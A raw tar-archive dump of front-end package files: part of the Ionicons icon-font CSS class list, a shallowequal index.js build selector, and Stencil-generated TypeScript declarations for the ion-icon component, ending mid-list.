"\f209"; } .ion-ios-search:before { content: "\f4a5"; } .ion-ios-send:before { content: "\f20c"; } .ion-ios-settings:before { content: "\f4a7"; } .ion-ios-share:before { content: "\f211"; } .ion-ios-share-alt:before { content: "\f20f"; } .ion-ios-shirt:before { content: "\f213"; } .ion-ios-shuffle:before { content: "\f4a9"; } .ion-ios-skip-backward:before { content: "\f215"; } .ion-ios-skip-forward:before { content: "\f217"; } .ion-ios-snow:before { content: "\f218"; } .ion-ios-speedometer:before { content: "\f4b0"; } .ion-ios-square:before { content: "\f21a"; } .ion-ios-square-outline:before { content: "\f15c"; } .ion-ios-star:before { content: "\f4b3"; } .ion-ios-star-half:before { content: "\f4b1"; } .ion-ios-star-outline:before { content: "\f4b2"; } .ion-ios-stats:before { content: "\f21c"; } .ion-ios-stopwatch:before { content: "\f4b5"; } .ion-ios-subway:before { content: "\f21e"; } .ion-ios-sunny:before { content: "\f4b7"; } .ion-ios-swap:before { content: "\f21f"; } .ion-ios-switch:before { content: "\f221"; } .ion-ios-sync:before { content: "\f222"; } .ion-ios-tablet-landscape:before { content: "\f223"; } .ion-ios-tablet-portrait:before { content: "\f24e"; } .ion-ios-tennisball:before { content: "\f4bb"; } .ion-ios-text:before { content: "\f250"; } .ion-ios-thermometer:before { content: "\f252"; } .ion-ios-thumbs-down:before { content: "\f254"; } .ion-ios-thumbs-up:before { content: "\f256"; } .ion-ios-thunderstorm:before { content: "\f4bd"; } .ion-ios-time:before { content: "\f4bf"; } .ion-ios-timer:before { content: "\f4c1"; } .ion-ios-today:before { content: "\f14f"; } .ion-ios-train:before { content: "\f258"; } .ion-ios-transgender:before { content: "\f259"; } .ion-ios-trash:before { content: "\f4c5"; } .ion-ios-trending-down:before { content: "\f25a"; } .ion-ios-trending-up:before { content: "\f25b"; } .ion-ios-trophy:before { content: "\f25d"; } .ion-ios-tv:before { content: "\f115"; } .ion-ios-umbrella:before { content: "\f25f"; } .ion-ios-undo:before { content: "\f4c7"; } .ion-ios-unlock:before { content: "\f261"; } .ion-ios-videocam:before { content: "\f4cd"; } .ion-ios-volume-high:before { content: "\f11c"; } .ion-ios-volume-low:before { content: "\f11e"; } .ion-ios-volume-mute:before { content: "\f263"; } .ion-ios-volume-off:before { content: "\f264"; } .ion-ios-walk:before { content: "\f266"; } .ion-ios-wallet:before { content: "\f18b"; } .ion-ios-warning:before { content: "\f268"; } .ion-ios-watch:before { content: "\f269"; } .ion-ios-water:before { content: "\f26b"; } .ion-ios-wifi:before { content: "\f26d"; } .ion-ios-wine:before { content: "\f26f"; } .ion-ios-woman:before { content: "\f271"; } .ion-logo-android:before { content: "\f225"; } .ion-logo-angular:before { content: "\f227"; } .ion-logo-apple:before { content: "\f229"; } .ion-logo-bitbucket:before { content: "\f193"; } .ion-logo-bitcoin:before { content: "\f22b"; } .ion-logo-buffer:before { content: "\f22d"; } .ion-logo-chrome:before { content: "\f22f"; } .ion-logo-closed-captioning:before { content: "\f105"; } .ion-logo-codepen:before { content: "\f230"; } .ion-logo-css3:before { content: "\f231"; } .ion-logo-designernews:before { content: "\f232"; } .ion-logo-dribbble:before { content: "\f233"; } .ion-logo-dropbox:before { content: "\f234"; } .ion-logo-euro:before { content: "\f235"; } .ion-logo-facebook:before { content: "\f236"; } .ion-logo-flickr:before { content: "\f107"; } .ion-logo-foursquare:before { content: "\f237"; } .ion-logo-freebsd-devil:before { content: "\f238"; } .ion-logo-game-controller-a:before { content: "\f13b"; } .ion-logo-game-controller-b:before { content: "\f181"; } .ion-logo-github:before { content: "\f239"; } .ion-logo-google:before { content: "\f23a"; } .ion-logo-googleplus:before { content: "\f23b"; } .ion-logo-hackernews:before { content: "\f23c"; } .ion-logo-html5:before { content: "\f23d"; } .ion-logo-instagram:before { content: "\f23e"; } .ion-logo-ionic:before { content: "\f150"; } .ion-logo-ionitron:before { content: "\f151"; } .ion-logo-javascript:before { content: "\f23f"; } .ion-logo-linkedin:before { content: "\f240"; } .ion-logo-markdown:before { content: "\f241"; } .ion-logo-model-s:before { content: "\f153"; } .ion-logo-no-smoking:before { content: "\f109"; } .ion-logo-nodejs:before { content: "\f242"; } .ion-logo-npm:before { content: "\f195"; } .ion-logo-octocat:before { content: "\f243"; } .ion-logo-pinterest:before { content: "\f244"; } .ion-logo-playstation:before { content: "\f245"; } .ion-logo-polymer:before { content: "\f15e"; } .ion-logo-python:before { content: "\f246"; } .ion-logo-reddit:before { content: "\f247"; } .ion-logo-rss:before { content: "\f248"; } .ion-logo-sass:before { content: "\f249"; } .ion-logo-skype:before { content: "\f24a"; } .ion-logo-slack:before { content: "\f10b"; } .ion-logo-snapchat:before { content: "\f24b"; } .ion-logo-steam:before { content: "\f24c"; } .ion-logo-tumblr:before { content: "\f24d"; } .ion-logo-tux:before { content: "\f2ae"; } .ion-logo-twitch:before { content: "\f2af"; } .ion-logo-twitter:before { content: "\f2b0"; } .ion-logo-usd:before { content: "\f2b1"; } .ion-logo-vimeo:before { content: "\f2c4"; } .ion-logo-vk:before { content: "\f10d"; } .ion-logo-whatsapp:before { content: "\f2c5"; } .ion-logo-windows:before { content: "\f32f"; } .ion-logo-wordpress:before { content: "\f330"; } .ion-logo-xbox:before { content: "\f34c"; } .ion-logo-xing:before { content: "\f10f"; } .ion-logo-yahoo:before { content: "\f34d"; } .ion-logo-yen:before { content: "\f34e"; } .ion-logo-youtube:before { content: "\f34f"; } .ion-md-add:before { content: "\f273"; } .ion-md-add-circle:before { content: "\f272"; } .ion-md-add-circle-outline:before { content: "\f158"; } .ion-md-airplane:before { content: "\f15a"; } .ion-md-alarm:before { content: "\f274"; } .ion-md-albums:before { content: "\f275"; } .ion-md-alert:before { content: "\f276"; } .ion-md-american-football:before { content: "\f277"; } .ion-md-analytics:before { content: "\f278"; } .ion-md-aperture:before { content: "\f279"; } .ion-md-apps:before { content: "\f27a"; } .ion-md-appstore:before { content: "\f27b"; } .ion-md-archive:before { content: "\f27c"; } .ion-md-arrow-back:before { content: "\f27d"; } .ion-md-arrow-down:before { content: "\f27e"; } .ion-md-arrow-dropdown:before { content: "\f280"; } .ion-md-arrow-dropdown-circle:before { content: "\f27f"; } .ion-md-arrow-dropleft:before { content: "\f282"; } .ion-md-arrow-dropleft-circle:before { content: "\f281"; } .ion-md-arrow-dropright:before { content: "\f284"; } .ion-md-arrow-dropright-circle:before { content: "\f283"; } .ion-md-arrow-dropup:before { content: "\f286"; } .ion-md-arrow-dropup-circle:before { content: "\f285"; } .ion-md-arrow-forward:before { content: "\f287"; } .ion-md-arrow-round-back:before { content: "\f288"; } .ion-md-arrow-round-down:before { content: "\f289"; } .ion-md-arrow-round-forward:before { content: "\f28a"; } .ion-md-arrow-round-up:before { content: "\f28b"; } .ion-md-arrow-up:before { content: "\f28c"; } .ion-md-at:before { content: "\f28d"; } .ion-md-attach:before { content: "\f28e"; } .ion-md-backspace:before { content: "\f28f"; } .ion-md-barcode:before { content: "\f290"; } .ion-md-baseball:before { content: "\f291"; } .ion-md-basket:before { content: "\f292"; } .ion-md-basketball:before { content: "\f293"; } .ion-md-battery-charging:before { content: "\f294"; } .ion-md-battery-dead:before { content: "\f295"; } .ion-md-battery-full:before { content: "\f296"; } .ion-md-beaker:before { content: "\f297"; } .ion-md-bed:before { content: "\f160"; } .ion-md-beer:before { content: "\f298"; } .ion-md-bicycle:before { content: "\f299"; } .ion-md-bluetooth:before { content: "\f29a"; } .ion-md-boat:before { content: "\f29b"; } .ion-md-body:before { content: "\f29c"; } .ion-md-bonfire:before { content: "\f29d"; } .ion-md-book:before { content: "\f29e"; } .ion-md-bookmark:before { content: "\f29f"; } .ion-md-bookmarks:before { content: "\f2a0"; } .ion-md-bowtie:before { content: "\f2a1"; } .ion-md-briefcase:before { content: "\f2a2"; } .ion-md-browsers:before { content: "\f2a3"; } .ion-md-brush:before { content: "\f2a4"; } .ion-md-bug:before { content: "\f2a5"; } .ion-md-build:before { content: "\f2a6"; } .ion-md-bulb:before { content: "\f2a7"; } .ion-md-bus:before { content: "\f2a8"; } .ion-md-business:before { content: "\f1a4"; } .ion-md-cafe:before { content: "\f2a9"; } .ion-md-calculator:before { content: "\f2aa"; } .ion-md-calendar:before { content: "\f2ab"; } .ion-md-call:before { content: "\f2ac"; } .ion-md-camera:before { content: "\f2ad"; } .ion-md-car:before { content: "\f2b2"; } .ion-md-card:before { content: "\f2b3"; } .ion-md-cart:before { content: "\f2b4"; } .ion-md-cash:before { content: "\f2b5"; } .ion-md-cellular:before { content: "\f164"; } .ion-md-chatboxes:before { content: "\f2b6"; } .ion-md-chatbubbles:before { content: "\f2b7"; } .ion-md-checkbox:before { content: "\f2b9"; } .ion-md-checkbox-outline:before { content: "\f2b8"; } .ion-md-checkmark:before { content: "\f2bc"; } .ion-md-checkmark-circle:before { content: "\f2bb"; } .ion-md-checkmark-circle-outline:before { content: "\f2ba"; } .ion-md-clipboard:before { content: "\f2bd"; } .ion-md-clock:before { content: "\f2be"; } .ion-md-close:before { content: "\f2c0"; } .ion-md-close-circle:before { content: "\f2bf"; } .ion-md-close-circle-outline:before { content: "\f166"; } .ion-md-cloud:before { content: "\f2c9"; } .ion-md-cloud-circle:before { content: "\f2c2"; } .ion-md-cloud-done:before { content: "\f2c3"; } .ion-md-cloud-download:before { content: "\f2c6"; } .ion-md-cloud-outline:before { content: "\f2c7"; } .ion-md-cloud-upload:before { content: "\f2c8"; } .ion-md-cloudy:before { content: "\f2cb"; } .ion-md-cloudy-night:before { content: "\f2ca"; } .ion-md-code:before { content: "\f2ce"; } .ion-md-code-download:before { content: "\f2cc"; } .ion-md-code-working:before { content: "\f2cd"; } .ion-md-cog:before { content: "\f2cf"; } .ion-md-color-fill:before { content: "\f2d0"; } .ion-md-color-filter:before { content: "\f2d1"; } .ion-md-color-palette:before { content: "\f2d2"; } .ion-md-color-wand:before { content: "\f2d3"; } .ion-md-compass:before { content: "\f2d4"; } .ion-md-construct:before { content: "\f2d5"; } .ion-md-contact:before { content: "\f2d6"; } .ion-md-contacts:before { content: "\f2d7"; } .ion-md-contract:before { content: "\f2d8"; } .ion-md-contrast:before { content: "\f2d9"; } .ion-md-copy:before { content: "\f2da"; } .ion-md-create:before { content: "\f2db"; } .ion-md-crop:before { content: "\f2dc"; } .ion-md-cube:before { content: "\f2dd"; } .ion-md-cut:before { content: "\f2de"; } .ion-md-desktop:before { content: "\f2df"; } .ion-md-disc:before { content: "\f2e0"; } .ion-md-document:before { content: "\f2e1"; } .ion-md-done-all:before { content: "\f2e2"; } .ion-md-download:before { content: "\f2e3"; } .ion-md-easel:before { content: "\f2e4"; } .ion-md-egg:before { content: "\f2e5"; } .ion-md-exit:before { content: "\f2e6"; } .ion-md-expand:before { content: "\f2e7"; } .ion-md-eye:before { content: "\f2e9"; } .ion-md-eye-off:before { content: "\f2e8"; } .ion-md-fastforward:before { content: "\f2ea"; } .ion-md-female:before { content: "\f2eb"; } .ion-md-filing:before { content: "\f2ec"; } .ion-md-film:before { content: "\f2ed"; } .ion-md-finger-print:before { content: "\f2ee"; } .ion-md-fitness:before { content: "\f1ac"; } .ion-md-flag:before { content: "\f2ef"; } .ion-md-flame:before { content: "\f2f0"; } .ion-md-flash:before { content: "\f2f1"; } .ion-md-flash-off:before { content: "\f169"; } .ion-md-flashlight:before { content: "\f16b"; } .ion-md-flask:before { content: "\f2f2"; } .ion-md-flower:before { content: "\f2f3"; } .ion-md-folder:before { content: "\f2f5"; } .ion-md-folder-open:before { content: "\f2f4"; } .ion-md-football:before { content: "\f2f6"; } .ion-md-funnel:before { content: "\f2f7"; } .ion-md-gift:before { content: "\f199"; } .ion-md-git-branch:before { content: "\f2fa"; } .ion-md-git-commit:before { content: "\f2fb"; } .ion-md-git-compare:before { content: "\f2fc"; } .ion-md-git-merge:before { content: "\f2fd"; } .ion-md-git-network:before { content: "\f2fe"; } .ion-md-git-pull-request:before { content: "\f2ff"; } .ion-md-glasses:before { content: "\f300"; } .ion-md-globe:before { content: "\f301"; } .ion-md-grid:before { content: "\f302"; } .ion-md-hammer:before { content: "\f303"; } .ion-md-hand:before { content: "\f304"; } .ion-md-happy:before { content: "\f305"; } .ion-md-headset:before { content: "\f306"; } .ion-md-heart:before { content: "\f308"; } .ion-md-heart-dislike:before { content: "\f167"; } .ion-md-heart-empty:before { content: "\f1a1"; } .ion-md-heart-half:before { content: "\f1a2"; } .ion-md-help:before { content: "\f30b"; } .ion-md-help-buoy:before { content: "\f309"; } .ion-md-help-circle:before { content: "\f30a"; } .ion-md-help-circle-outline:before { content: "\f16d"; } .ion-md-home:before { content: "\f30c"; } .ion-md-hourglass:before { content: "\f111"; } .ion-md-ice-cream:before { content: "\f30d"; } .ion-md-image:before { content: "\f30e"; } .ion-md-images:before { content: "\f30f"; } .ion-md-infinite:before { content: "\f310"; } .ion-md-information:before { content: "\f312"; } .ion-md-information-circle:before { content: "\f311"; } .ion-md-information-circle-outline:before { content: "\f16f"; } .ion-md-jet:before { content: "\f315"; } .ion-md-journal:before { content: "\f18d"; } .ion-md-key:before { content: "\f316"; } .ion-md-keypad:before { content: "\f317"; } .ion-md-laptop:before { content: "\f318"; } .ion-md-leaf:before { content: "\f319"; } .ion-md-link:before { content: "\f22e"; } .ion-md-list:before { content: "\f31b"; } .ion-md-list-box:before { content: "\f31a"; } .ion-md-locate:before { content: "\f31c"; } .ion-md-lock:before { content: "\f31d"; } .ion-md-log-in:before { content: "\f31e"; } .ion-md-log-out:before { content: "\f31f"; } .ion-md-magnet:before { content: "\f320"; } .ion-md-mail:before { content: "\f322"; } .ion-md-mail-open:before { content: "\f321"; } .ion-md-mail-unread:before { content: "\f172"; } .ion-md-male:before { content: "\f323"; } .ion-md-man:before { content: "\f324"; } .ion-md-map:before { content: "\f325"; } .ion-md-medal:before { content: "\f326"; } .ion-md-medical:before { content: "\f327"; } .ion-md-medkit:before { content: "\f328"; } .ion-md-megaphone:before { content: "\f329"; } .ion-md-menu:before { content: "\f32a"; } .ion-md-mic:before { content: "\f32c"; } .ion-md-mic-off:before { content: "\f32b"; } .ion-md-microphone:before { content: "\f32d"; } .ion-md-moon:before { content: "\f32e"; } .ion-md-more:before { content: "\f1c9"; } .ion-md-move:before { content: "\f331"; } .ion-md-musical-note:before { content: "\f332"; } .ion-md-musical-notes:before { content: "\f333"; } .ion-md-navigate:before { content: "\f334"; } .ion-md-notifications:before { content: "\f338"; } .ion-md-notifications-off:before { content: "\f336"; } .ion-md-notifications-outline:before { content: "\f337"; } .ion-md-nuclear:before { content: "\f339"; } .ion-md-nutrition:before { content: "\f33a"; } .ion-md-open:before { content: "\f33b"; } .ion-md-options:before { content: "\f33c"; } .ion-md-outlet:before { content: "\f33d"; } .ion-md-paper:before { content: "\f33f"; } .ion-md-paper-plane:before { content: "\f33e"; } .ion-md-partly-sunny:before { content: "\f340"; } .ion-md-pause:before { content: "\f341"; } .ion-md-paw:before { content: "\f342"; } .ion-md-people:before { content: "\f343"; } .ion-md-person:before { content: "\f345"; } .ion-md-person-add:before { content: "\f344"; } .ion-md-phone-landscape:before { content: "\f346"; } .ion-md-phone-portrait:before { content: "\f347"; } .ion-md-photos:before { content: "\f348"; } .ion-md-pie:before { content: "\f349"; } .ion-md-pin:before { content: "\f34a"; } .ion-md-pint:before { content: "\f34b"; } .ion-md-pizza:before { content: "\f354"; } .ion-md-planet:before { content: "\f356"; } .ion-md-play:before { content: "\f357"; } .ion-md-play-circle:before { content: "\f174"; } .ion-md-podium:before { content: "\f358"; } .ion-md-power:before { content: "\f359"; } .ion-md-pricetag:before { content: "\f35a"; } .ion-md-pricetags:before { content: "\f35b"; } .ion-md-print:before { content: "\f35c"; } .ion-md-pulse:before { content: "\f35d"; } .ion-md-qr-scanner:before { content: "\f35e"; } .ion-md-quote:before { content: "\f35f"; } .ion-md-radio:before { content: "\f362"; } .ion-md-radio-button-off:before { content: "\f360"; } .ion-md-radio-button-on:before { content: "\f361"; } .ion-md-rainy:before { content: "\f363"; } .ion-md-recording:before { content: "\f364"; } .ion-md-redo:before { content: "\f365"; } .ion-md-refresh:before { content: "\f366"; } .ion-md-refresh-circle:before { content: "\f228"; } .ion-md-remove:before { content: "\f368"; } .ion-md-remove-circle:before { content: "\f367"; } .ion-md-remove-circle-outline:before { content: "\f176"; } .ion-md-reorder:before { content: "\f369"; } .ion-md-repeat:before { content: "\f36a"; } .ion-md-resize:before { content: "\f36b"; } .ion-md-restaurant:before { content: "\f36c"; } .ion-md-return-left:before { content: "\f36d"; } .ion-md-return-right:before { content: "\f36e"; } .ion-md-reverse-camera:before { content: "\f36f"; } .ion-md-rewind:before { content: "\f370"; } .ion-md-ribbon:before { content: "\f371"; } .ion-md-rocket:before { content: "\f179"; } .ion-md-rose:before { content: "\f372"; } .ion-md-sad:before { content: "\f373"; } .ion-md-save:before { content: "\f1a9"; } .ion-md-school:before { content: "\f374"; } .ion-md-search:before { content: "\f375"; } .ion-md-send:before { content: "\f376"; } .ion-md-settings:before { content: "\f377"; } .ion-md-share:before { content: "\f379"; } .ion-md-share-alt:before { content: "\f378"; } .ion-md-shirt:before { content: "\f37a"; } .ion-md-shuffle:before { content: "\f37b"; } .ion-md-skip-backward:before { content: "\f37c"; } .ion-md-skip-forward:before { content: "\f37d"; } .ion-md-snow:before { content: "\f37e"; } .ion-md-speedometer:before { content: "\f37f"; } .ion-md-square:before { content: "\f381"; } .ion-md-square-outline:before { content: "\f380"; } .ion-md-star:before { content: "\f384"; } .ion-md-star-half:before { content: "\f382"; } .ion-md-star-outline:before { content: "\f383"; } .ion-md-stats:before { content: "\f385"; } .ion-md-stopwatch:before { content: "\f386"; } .ion-md-subway:before { content: "\f387"; } .ion-md-sunny:before { content: "\f388"; } .ion-md-swap:before { content: "\f389"; } .ion-md-switch:before { content: "\f38a"; } .ion-md-sync:before { content: "\f38b"; } .ion-md-tablet-landscape:before { content: "\f38c"; } .ion-md-tablet-portrait:before { content: "\f38d"; } .ion-md-tennisball:before { content: "\f38e"; } .ion-md-text:before { content: "\f38f"; } .ion-md-thermometer:before { content: "\f390"; } .ion-md-thumbs-down:before { content: "\f391"; } .ion-md-thumbs-up:before { content: "\f392"; } .ion-md-thunderstorm:before { content: "\f393"; } .ion-md-time:before { content: "\f394"; } .ion-md-timer:before { content: "\f395"; } .ion-md-today:before { content: "\f17d"; } .ion-md-train:before { content: "\f396"; } .ion-md-transgender:before { content: "\f397"; } .ion-md-trash:before { content: "\f398"; } .ion-md-trending-down:before { content: "\f399"; } .ion-md-trending-up:before { content: "\f39a"; } .ion-md-trophy:before { content: "\f39b"; } .ion-md-tv:before { content: "\f17f"; } .ion-md-umbrella:before { content: "\f39c"; } .ion-md-undo:before { content: "\f39d"; } .ion-md-unlock:before { content: "\f39e"; } .ion-md-videocam:before { content: "\f39f"; } .ion-md-volume-high:before { content: "\f123"; } .ion-md-volume-low:before { content: "\f131"; } .ion-md-volume-mute:before { content: "\f3a1"; } .ion-md-volume-off:before { content: "\f3a2"; } .ion-md-walk:before { content: "\f3a4"; } .ion-md-wallet:before { content: "\f18f"; } .ion-md-warning:before { content: "\f3a5"; } .ion-md-watch:before { content: "\f3a6"; } .ion-md-water:before { content: "\f3a7"; } .ion-md-wifi:before { content: "\f3a8"; } .ion-md-wine:before { content: "\f3a9"; } .ion-md-woman:before { content: "\f3aa"; }index.js000064400000000312151701353760006215 0ustar00 'use strict' if (process.env.NODE_ENV === 'production') { module.exports = require('./shallowequal.cjs.production.min.js') } else { module.exports = require('./shallowequal.cjs.development.js') } types/components.d.ts000064400000006403151701353760010702 0ustar00/* tslint:disable */ /** * This is an autogenerated file created by the Stencil compiler. * It contains typing information for all components that exist in this project. */ import './stencil.core'; export namespace Components { interface IonIcon { /** * Specifies the label to use for accessibility. Defaults to the icon name. */ 'ariaLabel'?: string; /** * The color to use for the background of the item. */ 'color'?: string; /** * A combination of both `name` and `src`. If a `src` url is detected it will set the `src` property. Otherwise it assumes it's a built-in named SVG and set the `name` property. */ 'icon'?: string; /** * Specifies which icon to use on `ios` mode. */ 'ios'?: string; /** * If enabled, ion-icon will be loaded lazily when it's visible in the viewport. Default, `false`. */ 'lazy': boolean; /** * Specifies which icon to use on `md` mode. */ 'md'?: string; /** * The mode determines which platform styles to use. Possible values are: `"ios"` or `"md"`. */ 'mode'?: 'ios' | 'md'; /** * Specifies which icon to use from the built-in set of icons. */ 'name'?: string; /** * The size of the icon. Available options are: `"small"` and `"large"`. */ 'size'?: string; /** * Specifies the exact `src` of an SVG file to use. */ 'src'?: string; } interface IonIconAttributes extends StencilHTMLAttributes { /** * Specifies the label to use for accessibility. Defaults to the icon name. */ 'ariaLabel'?: string; /** * The color to use for the background of the item. */ 'color'?: string; /** * A combination of both `name` and `src`. If a `src` url is detected it will set the `src` property. Otherwise it assumes it's a built-in named SVG and set the `name` property. */ 'icon'?: string; /** * Specifies which icon to use on `ios` mode. */ 'ios'?: string; /** * If enabled, ion-icon will be loaded lazily when it's visible in the viewport. Default, `false`. */ 'lazy'?: boolean; /** * Specifies which icon to use on `md` mode. */ 'md'?: string; /** * The mode determines which platform styles to use. Possible values are: `"ios"` or `"md"`. */ 'mode'?: 'ios' | 'md'; /** * Specifies which icon to use from the built-in set of icons. */ 'name'?: string; /** * The size of the icon. Available options are: `"small"` and `"large"`. */ 'size'?: string; /** * Specifies the exact `src` of an SVG file to use. */ 'src'?: string; } } declare global { interface StencilElementInterfaces { 'IonIcon': Components.IonIcon; } interface StencilIntrinsicElements { 'ion-icon': Components.IonIconAttributes; } interface HTMLIonIconElement extends Components.IonIcon, HTMLStencilElement {} var HTMLIonIconElement: { prototype: HTMLIonIconElement; new (): HTMLIonIconElement; }; interface HTMLElementTagNameMap { 'ion-icon': HTMLIonIconElement } interface ElementTagNameMap { 'ion-icon': HTMLIonIconElement; } } types/icon/utils.d.ts000064400000000434151701353760010603 0ustar00export declare function getName(name: string | undefined, mode: string | undefined, ios: string | undefined, md: string | undefined): string | null; export declare function getSrc(src: string | undefined): string | null; export declare function isValid(elm: HTMLElement): boolean; types/icon/icon.d.ts000064400000003345151701353760010377 0ustar00import '../stencil.core'; export declare class Icon { private io?; el: HTMLElement; private svgContent?; private isVisible; isServer: boolean; resourcesUrl: string; doc: Document; win: any; /** * The color to use for the background of the item. */ color?: string; /** * The mode determines which platform styles to use. * Possible values are: `"ios"` or `"md"`. */ mode?: 'ios' | 'md'; /** * Specifies the label to use for accessibility. Defaults to the icon name. */ ariaLabel?: string; /** * Specifies which icon to use on `ios` mode. */ ios?: string; /** * Specifies which icon to use on `md` mode. */ md?: string; /** * Specifies which icon to use from the built-in set of icons. */ name?: string; /** * Specifies the exact `src` of an SVG file to use. */ src?: string; /** * A combination of both `name` and `src`. If a `src` url is detected * it will set the `src` property. Otherwise it assumes it's a built-in named * SVG and set the `name` property. */ icon?: string; /** * The size of the icon. * Available options are: `"small"` and `"large"`. */ size?: string; /** * If enabled, ion-icon will be loaded lazily when it's visible in the viewport. * Default, `false`. */ lazy: boolean; componentWillLoad(): void; componentDidUnload(): void; private waitUntilVisible; loadIcon(): void; getUrl(): string | null; private getNamedUrl; hostData(): { 'role': string; class: {}; }; render(): JSX.Element; } types/stencil.core.d.ts000064400000112014151701353760011101 0ustar00/** * This file gets copied to all distributions of stencil component collections. * - no imports */ export interface ComponentWillLoad { /** * The component is about to load and it has not * rendered yet. * * This is the best place to make any data updates * before the first render. * * componentWillLoad will only be called once. */ componentWillLoad: () => Promise | void; } export interface ComponentDidLoad { /** * The component has loaded and has already rendered. * * Updating data in this method will cause the * component to re-render. * * componentDidLoad will only be called once. */ componentDidLoad: () => void; } export interface ComponentWillUpdate { /** * The component is about to update and re-render. * * Called multiple times throughout the life of * the component as it updates. * * componentWillUpdate is not called on the first render. */ componentWillUpdate: () => Promise | void; } export interface ComponentDidUpdate { /** * The component has just re-rendered. * * Called multiple times throughout the life of * the component as it updates. * * componentWillUpdate is not called on the * first render. */ componentDidUpdate: () => void; } export interface ComponentDidUnload { /** * The component did unload and the element * will be destroyed. */ componentDidUnload: () => void; } export interface ComponentInstance { /** * The component is about to load and it has not * rendered yet. * * This is the best place to make any data updates * before the first render. * * componentWillLoad will only be called once. */ componentWillLoad?: () => Promise | void; /** * The component has loaded and has already rendered. * * Updating data in this method will cause the * component to re-render. * * componentDidLoad will only be called once. */ componentDidLoad?: () => void; /** * The component is about to update and re-render. * * Called multiple times throughout the life of * the component as it updates. * * componentWillUpdate is not called on the first render. */ componentWillUpdate?: () => Promise | void; /** * The component has just re-rendered. * * Called multiple times throughout the life of * the component as it updates. * * componentWillUpdate is not called on the * first render. */ componentDidUpdate?: () => void; /** * The component did unload and the element * will be destroyed. */ componentDidUnload?: () => void; render?: () => any; /** * Used to dynamically set host element attributes. * Should be placed directly above render() */ hostData?: () => { class?: {[className: string]: boolean}; style?: any; [attrName: string]: any; }; [memberName: string]: any; } /** * General types important to applications using stencil built components */ export interface EventEmitter { emit: (data?: T) => void; } export interface EventListenerEnable { (instance: any, eventName: string, enabled: boolean, attachTo?: string|Element, passive?: boolean): void; } export interface QueueApi { tick: (cb: RafCallback) => void; read: (cb: RafCallback) => void; write: (cb: RafCallback) => void; clear?: () => void; flush?: (cb?: () => void) => void; } export interface RafCallback { (timeStamp: number): void; } /** * This file gets copied to all distributions of stencil component collections. * - no imports */ declare global { interface HTMLStencilElement extends HTMLElement { componentOnReady(): Promise; forceUpdate(): void; } interface StencilHTMLAttributes extends JSXElements.HTMLAttributes {} interface StencilIntrinsicElements extends JSXElements.DefaultIntrinsicElements {} interface StencilElementInterfaces {} interface StencilGlobalHTMLAttributes {} } export namespace JSXElements { export interface DefaultIntrinsicElements { // Stencil elements slot: JSXElements.SlotAttributes; // HTML a: JSXElements.AnchorHTMLAttributes; abbr: JSXElements.HTMLAttributes; address: JSXElements.HTMLAttributes; area: JSXElements.AreaHTMLAttributes; article: JSXElements.HTMLAttributes; aside: JSXElements.HTMLAttributes; audio: JSXElements.AudioHTMLAttributes; b: JSXElements.HTMLAttributes; base: JSXElements.BaseHTMLAttributes; bdi: JSXElements.HTMLAttributes; bdo: JSXElements.HTMLAttributes; big: JSXElements.HTMLAttributes; blockquote: JSXElements.BlockquoteHTMLAttributes; body: JSXElements.HTMLAttributes; br: JSXElements.HTMLAttributes; button: JSXElements.ButtonHTMLAttributes; canvas: JSXElements.CanvasHTMLAttributes; caption: JSXElements.HTMLAttributes; cite: JSXElements.HTMLAttributes; code: JSXElements.HTMLAttributes; col: JSXElements.ColHTMLAttributes; colgroup: JSXElements.ColgroupHTMLAttributes; data: JSXElements.HTMLAttributes; datalist: JSXElements.HTMLAttributes; dd: JSXElements.HTMLAttributes; del: JSXElements.DelHTMLAttributes; details: JSXElements.DetailsHTMLAttributes; dfn: JSXElements.HTMLAttributes; dialog: JSXElements.DialogHTMLAttributes; div: JSXElements.HTMLAttributes; dl: JSXElements.HTMLAttributes; dt: JSXElements.HTMLAttributes; em: JSXElements.HTMLAttributes; embed: JSXElements.EmbedHTMLAttributes; fieldset: JSXElements.FieldsetHTMLAttributes; figcaption: JSXElements.HTMLAttributes; figure: JSXElements.HTMLAttributes; footer: JSXElements.HTMLAttributes; form: JSXElements.FormHTMLAttributes; h1: JSXElements.HTMLAttributes; h2: JSXElements.HTMLAttributes; h3: JSXElements.HTMLAttributes; h4: JSXElements.HTMLAttributes; h5: JSXElements.HTMLAttributes; h6: JSXElements.HTMLAttributes; head: JSXElements.HTMLAttributes; header: JSXElements.HTMLAttributes; hgroup: JSXElements.HTMLAttributes; hr: JSXElements.HTMLAttributes; html: JSXElements.HTMLAttributes; i: JSXElements.HTMLAttributes; iframe: JSXElements.IframeHTMLAttributes; img: JSXElements.ImgHTMLAttributes; input: JSXElements.InputHTMLAttributes; ins: JSXElements.InsHTMLAttributes; kbd: JSXElements.HTMLAttributes; keygen: JSXElements.KeygenHTMLAttributes; label: JSXElements.LabelHTMLAttributes; legend: JSXElements.HTMLAttributes; li: JSXElements.LiHTMLAttributes; link: JSXElements.LinkHTMLAttributes; main: JSXElements.HTMLAttributes; map: JSXElements.MapHTMLAttributes; mark: JSXElements.HTMLAttributes; menu: JSXElements.MenuHTMLAttributes; menuitem: JSXElements.HTMLAttributes; meta: JSXElements.MetaHTMLAttributes; meter: JSXElements.MeterHTMLAttributes; nav: JSXElements.HTMLAttributes; noscript: JSXElements.HTMLAttributes; object: JSXElements.ObjectHTMLAttributes; ol: JSXElements.OlHTMLAttributes; optgroup: JSXElements.OptgroupHTMLAttributes; option: JSXElements.OptionHTMLAttributes; output: JSXElements.OutputHTMLAttributes; p: JSXElements.HTMLAttributes; param: JSXElements.ParamHTMLAttributes; picture: JSXElements.HTMLAttributes; pre: JSXElements.HTMLAttributes; progress: JSXElements.ProgressHTMLAttributes; q: JSXElements.QuoteHTMLAttributes; rp: JSXElements.HTMLAttributes; rt: JSXElements.HTMLAttributes; ruby: JSXElements.HTMLAttributes; s: JSXElements.HTMLAttributes; samp: JSXElements.HTMLAttributes; script: JSXElements.ScriptHTMLAttributes; section: JSXElements.HTMLAttributes; select: JSXElements.SelectHTMLAttributes; small: JSXElements.HTMLAttributes; source: JSXElements.SourceHTMLAttributes; span: JSXElements.HTMLAttributes; strong: JSXElements.HTMLAttributes; style: JSXElements.StyleHTMLAttributes; sub: JSXElements.HTMLAttributes; summary: JSXElements.HTMLAttributes; sup: JSXElements.HTMLAttributes; table: JSXElements.TableHTMLAttributes; tbody: JSXElements.HTMLAttributes; td: JSXElements.TdHTMLAttributes; textarea: JSXElements.TextareaHTMLAttributes; tfoot: JSXElements.HTMLAttributes; th: JSXElements.ThHTMLAttributes; thead: JSXElements.HTMLAttributes; time: JSXElements.TimeHTMLAttributes; title: JSXElements.HTMLAttributes; 